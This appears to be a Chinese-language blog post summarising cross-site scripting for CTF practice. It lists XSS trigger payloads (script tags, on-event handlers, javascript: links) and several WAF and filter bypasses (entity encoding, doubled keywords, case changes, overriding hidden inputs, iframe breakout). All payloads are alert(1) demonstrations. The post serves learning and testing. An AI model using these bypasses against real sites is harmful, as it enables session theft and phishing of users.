zoukankan      html  css  js  c++  java
  • xss总结--2018自我整理

    0x00前言

    因为ctf中xss的题目偏少(因为需要机器人在后台点选手的连接2333),所有写的比较少

    这里推荐个环境http://test.xss.tv/

    0x01xss作用

    常见的输出函数:print()、 print_r()、 echo、 printf()、 sprintf()、 die()、 var_dump()、 var_export()

    xss是往页面中添加了一段代码,并且被浏览器执行了

    反射型将恶意代码写入参数,或者自己服务器上搭个form表单传送,用来钓鱼

    存储型就等着别人点这个网页就行了

    0x02手段

    xss主要出现的地方:文章发表,评论回复,留言,资料设置等

    xss无非就是要对方的cookie,但是常常会有httponly导致cookie并不能传到xss平台,这是一种有效的防御方式

    但是xss预防应该从本质出发,即对该页面用户输入不能被执行

    xss触发方法

    利用script标签执行js

    <script>alert(1)</script>

    字符串用" ' 包裹都行

    采用on事件方法

    on事件不用单引号或双引号也可以触发,但是必须闭合标签内的引号

    <onclick=alert(1)>     =>点击就会触发
    <onmouseover=alert(1)> =>鼠标移动触发

    能够使用on事件的标签

    支持on click事件的标签有<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
    <caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
    <form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>

    采用a标签来做到xss

    <a href="javascript:alert(1)" >

    0x03bypass方法

    采用编码,把字符串可以进行编码

    &#   后接十进制     => unicode编码
    &#x 后接十六进制    => unicode编码

    采用标签中的空隙规则

    假设正则是

    <s*(script[^>]*)>([sS][^<]*)</s*script>

    可以采用

    <script>alert(1)</script > ==> 最后有个p和>间有空格绕过

    采用双写绕过空字符替换

    如果被删除关键字,可以采用重写方法比如 <scriscriptpt>


    采用大小写绕过不严格的waf

     <script>   => <Script>

    采用参数覆盖,覆盖掉hidden参数

    <input name="t_sort"  value="" onmouseover=alert(1) type="text" type="hidden">
    我们输入的内容为:" onmouseover=alert(1) type="text

    有些标签的优先级高于",导致执行xss

    • <!--

    • <iframe>

    • <noframes>

    • <noscript>

    • <script>

    • <style>

    • <textarea>

    • <title>

    • <xmp>

    具体原理参考链接:https://blog.csdn.net/Bg70PVnyBv1/article/details/79358628?tdsourcetag=s_pcqq_aiomsg

    使用方法

    <iframe>"</iframe><script>alert(1)</script>"</iframe>  #这语句是会弹框的

    假设输入的内容是
    </iframe><script>alert(1)</script>
  • 相关阅读:
    luogu P4009 汽车加油行驶问题
    luogu P4015 运输问题
    luogu P2763 试题库问题
    luogu P4011 孤岛营救问题
    luogu P2765 魔术球问题
    linux 网卡
    linux yum错误
    ubuntu登录备注信息
    Ubuntu网卡配置
    linux 走三层内网添加静态路由
  • 原文地址:https://www.cnblogs.com/sijidou/p/10259884.html
Copyright © 2011-2022 走看看